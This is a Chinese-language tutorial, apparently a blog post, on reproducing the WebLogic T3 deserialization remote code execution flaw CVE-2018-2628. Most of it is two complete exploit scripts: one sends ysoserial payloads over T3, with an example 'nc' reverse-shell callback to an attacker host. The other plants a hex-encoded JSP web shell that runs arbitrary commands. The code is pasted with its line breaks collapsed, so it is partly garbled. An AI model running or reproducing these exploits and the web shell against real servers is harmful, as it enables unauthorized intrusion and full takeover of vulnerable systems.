一、漏洞介绍

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序（客户端或者其它Weblogic Server实例）之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机（JVM）中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击.

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二、漏洞检测——nmap工具

nmap -n -v -p 7001 <target_ip> --script=weblogic-t3-info

 nmap具体用法可参考:Nmap使用教程超超超详细——最后介绍绕过防火墙IDS逃逸_xiaofengdada的博客-CSDN博客

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三、漏洞复现

法一（ping dnslog看回显）：

需要的工具：ysoserial-0.1-cve-2018-2628-all-网络安全文档类资源-CSDN下载

1.dnslog获得一个域名，作为判断依据。

2.在攻击机上使用ysoserial-cve-2018-2628工具，使用格式如下:

java -cp "ysoserial-0.1-cve-2018-2628-all.jar" ysoserial.exploit.JRMPListener [攻击机监听端口] jdk版本编号 "要执行的命令"

 注意：jdk版本只要大于1.7，直接填Jdk7u21就可以了，查看版本号的命令是：

java -version

3.另开一个窗口，在攻击机上使用exploit.py，使用格式如下：

python2 exploit.py 靶机IP 端口(默认7001) ysoserial-0.1-cve-2018-2628-all.jar的位置 攻击机IP 攻击机监听端口 JRMPClient

 exploit脚本代码如下：

# -*- coding: utf-8 -*-
# Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) Deserialization Remote Command Execution Vulnerability (CVE-2018-2628)
#
# IMPORTANT: Is provided only for educational or information purposes.
#
# Credit: Thanks by Liao Xinxi of NSFOCUS Security Team
# Reference: http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
#
# How to exploit:
# 1. run below command on JRMPListener host
#    1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
#    2) java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
#       e.g. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'
# 2. start a listener on attacker host
#    e.g. nc -nlvp 4040
# 3. run this script on attacker host
#    1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
#    2) python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
#       e.g.
#           a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)
#           b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator)from __future__ import print_functionimport binascii
import os
import socket
import sys
import timedef generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):#generates ysoserial payloadcommand = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)print("command: " + command)os.system(command)bin_file = open('payload.out','rb').read()return binascii.hexlify(bin_file)def t3_handshake(sock, server_addr):sock.connect(server_addr)sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))time.sleep(1)sock.recv(1024)print('handshake successful')def build_t3_request_object(sock, port):data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))data3 = '1a7727000d3234322e323134'data4 = '2e312e32353461863d1d0000000078'for d in [data1,data2,data3,data4]:sock.send(d.decode('hex'))time.sleep(2)print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))def send_payload_objdata(sock, data):payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'payload+=datapayload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)sock.send(payload.decode('hex'))time.sleep(2)sock.send(payload.decode('hex'))res = ''try:while True:res += sock.recv(4096)time.sleep(0.1)except Exception:passreturn resdef exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.settimeout(65)server_addr = (dip, dport)t3_handshake(sock, server_addr)build_t3_request_object(sock, dport)payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)print("payload: " + payload)rs=send_payload_objdata(sock, payload)print('response: ' + rs)print('exploit completed!')if __name__=="__main__":#check for args, print usage if incorrectif len(sys.argv) != 7:print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] ''[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')sys.exit()dip = sys.argv[1]dport = int(sys.argv[2])path_ysoserial = sys.argv[3]jrmp_listener_ip = sys.argv[4]jrmp_listener_port = sys.argv[5]jrmp_client = sys.argv[6]exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)

 执行成功，如上图所示！

4.最后进行验证，查看dnslog是否有回显

 可以看到有回显，复现成功！

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法二（直接用脚本poc进行rce命令执行）：

poc脚本如下：

#!env python
#coding=utf-8
# -*- coding: utf-8 -*-
#
# author   Jas502n
#import socket
import time
import sys
import reprint r'''_______      ________    ___   ___  __  ___      ___   __ ___   ___  / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \    |__ \ / /|__ \ / _ \ | |     \ \  / /| |__ ______ ) | | | || | (_) |_____ ) / /_   ) | (_) || |      \ \/ / |  __|______/ /| | | || |> _ <______/ / '_ \ / / > _ < | |____   \  /  | |____    / /_| |_| || | (_) |    / /| (_) / /_| (_) |\_____|   \/   |______|  |____|\___/ |_|\___/    |____\___/____|\___/ Weblogic Getshell jas502n            '''dip = str(sys.argv[1])
dport = int(sys.argv[2])
VUL=['CVE-2018-2628']
#remote ip changed to :127.0.0.1
PAYLOAD=['ACED0005737D00000001001D6A6176612E726D692E61637469766174696F6E2E416374697661746F72787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002D6A6176612E726D692E7365727665722E52656D6F74654F626A656374496E766F636174696F6E48616E646C657200000000000000020200007872001C6A6176612E726D692E7365727665722E52656D6F74654F626A656374D361B4910C61331E03000078707729000A556E69636173745265660000000005A2000000005649E3FD00000000000000000000000000000078']
#remote ip:104.251.228.50
#PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']
VER_SIG=['\\$Proxy[0-9]+']# 0x01 获取weblogic版本
def t3handshake(sock,server_addr):sock.connect(server_addr)sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))time.sleep(1)sock.recv(1024)print 'handshake successful'# 0x02
def buildT3RequestObject(sock,port):data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))data3 = '1a7727000d3234322e323134'data4 = '2e312e32353461863d1d0000000078'for d in [data1,data2,data3,data4]:sock.send(d.decode('hex'))time.sleep(2)print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))#0x03 getshell
def sendGetShell(sock,data):s1 = "00000767056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000aced00057372002f6f72672e6170616368652e636f6d6d6f6e732e66696c6575706c6f61642e6469736b2e4469736b46696c654974656d1f0d7226839a887103000a5a000b6973466f726d4669656c644a000473697a6549000d73697a655468726573686f6c645b000d636163686564436f6e74656e747400025b424c000b636f6e74656e74547970657400124c6a6176612f6c616e672f537472696e673b4c000864666f7346696c6574000e4c6a6176612f696f2f46696c653b4c00096669656c644e616d6571007e00024c000866696c654e616d6571007e00024c00076865616465727374002f4c6f72672f6170616368652f636f6d6d6f6e732f66696c6575706c6f61642f46696c654974656d486561646572733b4c000a7265706f7369746f727971007e0003787000ffffffffffffffff00000000757200025b42acf317f8060854e00200007870000002d4"shell_file = "3c25407061676520696d706f72743d226a6176612e696f2e2a22253e0d0a3c25407061676520696d706f72743d2273756e2e6d6973632e4241534536344465636f64657222253e0d0a3c250d0a747279207b0d0a537472696e6720636d64203d20726571756573742e676574506172616d657465722822746f6d22293b0d0a537472696e6720706174683d6170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574526571756573745552492829293b0d0a537472696e67206469723d227765626c6f676963223b0d0a696628636d642e657175616c7328224e7a55314e672229297b6f75742e7072696e7428225b535d222b6469722b225b455d22293b7d0d0a627974655b5d2062696e617279203d204241534536344465636f6465722e636c6173732e6e6577496e7374616e636528292e6465636f646542756666657228636d64293b0d0a537472696e67206b636d64203d206e657720537472696e672862696e617279293b0d0a50726f63657373206368696c64203d2052756e74696d652e67657452756e74696d6528292e65786563286b636d64293b0d0a496e70757453747265616d20696e203d206368696c642e676574496e70757453747265616d28293b0d0a6f75742e7072696e7428222d3e7c22293b0d0a696e7420633b0d0a7768696c6520282863203d20696e2e7265616428292920213d202d3129207b0d0a6f75742e7072696e742828636861722963293b0d0a7d0d0a696e2e636c6f736528293b0d0a6f75742e7072696e7428227c3c2d22293b0d0a747279207b0d0a6368696c642e77616974466f7228293b0d0a7d2063617463682028496e746572727570746564457863657074696f6e206529207b0d0a652e7072696e74537461636b547261636528293b0d0a7d0d0a7d2063617463682028494f457863657074696f6e206529207b0d0a53797374656d2e6572722e7072696e746c6e2865293b0d0a7d"filename = (str(sys.argv[3])).encode("hex")#print "\n>>>shell filename: %s >>16-hex %s" % (str(sys.argv[3]),filename)#print "\n\n"s3 = "0d0a253e7400186170706c69636174696f6e2f6f637465742d73747265616d707400047465737471007e0009707372000c6a6176612e696f2e46696c65042da4450e0de4ff0300014c00047061746871007e0002787074004d736572766572735c41646d696e5365727665725c746d705c5f574c5f696e7465726e616c5c6265615f776c735f696e7465726e616c5c396a3464716b5c7761725c%sc0807702005c7878fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff" % (filename)payload1 = s1 + shell_file + s3#print "GetShell Payload: %s" % payload1#print "\n\n"print "\n\n >>>>usage: python cve-2018-2628.py ip port shell1.jsp \n\n"print "\n>>>Shell File Upload Dir: \n\n", r"servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war\%s" % (str(sys.argv[3]))print for i in [payload1]:sock.send(i.decode("hex"))time.sleep(2)url = "http://" + dip + ":" + str(dport)print "\n>>>Getshell: %s/bea_wls_internal/%s?tom=aWQ=" % (url, (str(sys.argv[3])))def run(dip,dport,index):sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)##打了补丁之后，会阻塞，所以设置超时时间，默认15s，根据情况自己调整sock.settimeout(20)server_addr = (dip, dport)t3handshake(sock,server_addr)#buildT3RequestObject(sock,dport)rs=sendGetShell(sock,PAYLOAD[index])#print 'rs',rsif __name__=="__main__":run(dip,dport,0)

直接python2运行执行即可！

 python2 .\CVE-2018-2628-Getshell.py x.x.x.x 7001 shell1.jsp

 然后打开getshell的网址：

 复现成功！